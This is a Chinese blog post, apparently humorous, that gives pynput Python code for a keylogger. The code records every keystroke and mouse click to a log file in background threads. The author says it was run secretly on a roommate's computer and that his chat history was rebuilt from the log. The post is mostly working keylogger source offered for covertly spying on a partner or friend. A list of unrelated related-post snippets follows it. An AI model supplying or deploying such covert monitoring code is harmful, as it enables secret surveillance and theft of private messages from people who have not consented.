用Python防止头上一片青青草原
1.使用pynput库
pynput 可以监控我们的键盘和鼠标。目前具有此类功能的库有很多,比如 pygame 等游戏库,但是当我们只需要监控键盘和鼠标时,它们就显得过于笨重了。
2.对键盘监控
在他的电脑常驻一个后台进程去实现监控键盘输入并记录下来,代码大概可以这样:
from pynput import keyboarddef on_press(key):print(f'{key} :pushed')def on_release(key):#print(f'{key} released')if key == keyboard.Key.esc:# Stop listenerreturn Falsewith keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:lsn.join()
复制代码
控制台打印:
3.对鼠标监控
from pynput import mousedef on_click(x, y, button, pressed):if button == mouse.Button.left:print('left was pressed!')elif button == mouse.Button.right:print('right was pressed!')return Falseelse:print('mid was pressed!')# Collect events until released
with mouse.Listener(on_click=on_click) as listener:listener.join()
复制代码
控制台打印:
你会发现,每条打印都被打印了两次,这是因为按下去和抬起来都会触发鼠标事件。
4.监控并记录到日志文件
from pynput import keyboard,mouse
from loguru import logger
from threading import Thread# 定义日志文件
logger.add('demo.log')
def on_press(key):logger.debug(f'{key} :pushed')def on_release(key):#print(f'{key} released')if key == keyboard.Key.esc:# Stop listenerreturn False# 定义f1用于线程1
def f1():with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:lsn.join()def on_click(x, y, button, pressed):if button == mouse.Button.left:logger.debug('left was pressed!')elif button == mouse.Button.right:logger.debug('right was pressed!')return Falseelse:logger.debug('mid was pressed!')# 定义f2用于线程2
def f2():# Collect events until releasedwith mouse.Listener(on_click=on_click) as listener:listener.join()if __name__ == '__main__':# 起两个线程分别监控键盘和鼠标t1 = Thread(target=f1)t2 = Thread(target=f2)t1.start()t2.start()
复制代码
查看日志内容:
这样键盘操作已经全部被记录,通过对这个日志文件进行简单的 NLTK
语言处理,就能复原聊天记录。 这个记录就不给你们展示了,属于隐私,但能告诉你们结果,嗯,其实他女友挺好,看我上铺兄弟每次都要加班很晚,身体有点不行了,但又好面子,所以偷偷给他在网上买补药,想给他补补~笑死
用Python防止头上一片青青草原相关推荐
- 懒羊羊吃青草:懒羊羊是一只非常能吃的羊,它在青青草原上发现一块巨大的正方形草地,但灰太狼已经抢先一步在草地上布下了若干陷阱。正方形草地位于直角坐标系中...
题面描述 懒羊羊是一只非常能吃的羊,它在青青草原上发现一块巨大的正方形草地,但灰太狼已经抢先一步在草地上布下了若干陷阱.正方形草地位于直角坐标系中,左下角坐标为 (1, 1) ,右上角坐标为 (m, ...
- c语言喜羊羊,青青草原101C位之争,喜羊羊vs懒羊羊
原标题:青青草原101C位之争,喜羊羊vs懒羊羊 还记得小时候陪伴你长大的动画片<喜羊羊与灰太狼>吗? 羊历3513年,青青草原上,羊羊族群已经十分兴旺发达.在羊羊一族里面已经有小镇,有学 ...
- 如何在Python中匹配最接近的字符串
■ 背景 手边有79个学校参加 智能车深度学习组别 提交的技术报告,但是在等级的EXCEL表格中对应的学校的名称与报告名称有些区别.那么如何能够比较自动对这些名称进行匹配呢? 这里使用了PYTHON库 ...
- python 炒股公式_同事用Python炒股赚了3W,我酸了...
最近的股市持续波动,作为在股市厮杀多年的老投资(韭菜)人,每天只能看着账户上的青青草原暗自落泪... 直到同事告诉我他这月在股市赚了3W... 我承认,我酸了!!! 在我的不断追问下,他终于坦白了他的 ...
- 太骚气了!同事用Python自动炒股赚了3w,实现躺着赚钱?
最近的股市持续波动,作为在股市厮杀多年的老投资(韭菜)人,每天只能看着账户上的青青草原暗自落泪... 直到同事告诉我他这月在股市赚了3W... 我承认,我酸了!!! 在我的不断追问下,他终于坦白了他的 ...
- python字符串切片,os模块练习处理
想学习字符串的切片,需要了解字符串的功能,这篇文章先开始说说字符串.然后集合练习,希望能够给你帮助.不要忘了点个赞哦! 字符串的常见方法: |-- capitalize() # 首字母大写 |-- c ...
- Python爬虫:爬取“Boss直聘”招聘数据
hello 大家好~ 又是元气满满的一天呢~ 既然元气满满,要不要搞点事情,譬如说,爬取"Boss直聘"(此处模仿歪果仁讲话更带感)的招聘数据~ 说走咱就走,说干咱就干~" ...
- Python(自学之旅四)
今天我们还是像往常一样,以图片和实例的形式带大家了解一些基础知识 多维列表 内存结构图: 实例: # 多维列表 # 之前我们使用的列表就是一维 比如 a = [1,2,3,4,5,6] 接下来我们来了 ...
- python手记(四):pillow(二) ImageChops类 视觉冲击(图片像素点运算)
人生不易且无趣,一起找点乐子吧.欢迎评论,和文章无关的也可以. 咳咳(清下嗓子,准备发话),自娱自乐型人格分裂患者.haaa. 前面我们简单看了pillow的基础Image类.现在我们成功的过度了,进 ...
最新文章
- ThinkPad R400在Windows7下的几个问题
- 1154:LETTERS
- 【调参实战】BN和Dropout对小模型有什么影响?全局池化相比全连接有什么劣势?...
- python3获得命令行输入的参数
- 5.cocos2dx中关于draw绘图,声音和音效,预加载,播放与停止Vs暂停和恢复,音量控制
- linux中grep基本用法
- 防止缓存爆炸的快速提示
- SQL Server 2008 各种DateTime的取值范围
- Apache Sentry 第一弹:Server启动、连接Hue、分组详解
- flume1.6 + syslogtcp + kafka 日志采集(二)
- 《推荐系统实践》算法纯享(附代码链接)(六)—— 借助社交网络推荐篇
- 集成运算放大器对输入级的要求
- 特斯拉指控华裔工程师窃密案升级 要求小鹏披露源代码
- Android 梯形TextView
- 京东秒杀系统是世界上最牛批的,不接受反驳!
- 使360浏览器打开网页默认为极速模式
- 愤世嫉俗的程序员,总在某乎发表言论,当起了“键盘侠”
- Mac 双系统bootcamp不能正常卸载windows系统
- java 工具类命名_16种java工具类
- Json 在线调试工具
热门文章
- R语言可视化dataframe数据、并自定义设置坐标轴各个标签使用不同的色彩
- R语言ggplot2使用geom_line函数geom_point函数可视化哑铃图、并对哑铃图进行排序(reorder dumbbell plot)
- R语言可视化包ggplot2包通过因子变量设置图像颜色实战
- R语言dplyr包na_if函数根据条件将数据对象替换为NA值实战
- JS+库+框架+工具
- android8.0 go 机型,安卓8.0良心!还开发了安卓GO, 适配给低配手机,魅族很尴尬!...
- 腾讯云 已连接到实验云主机 linux 运维基本操作
- Android实例开发中如何创建第一个项目(android studio)
- Android入门教程 (二) 第一个App HelloWorld
- 学习python(五)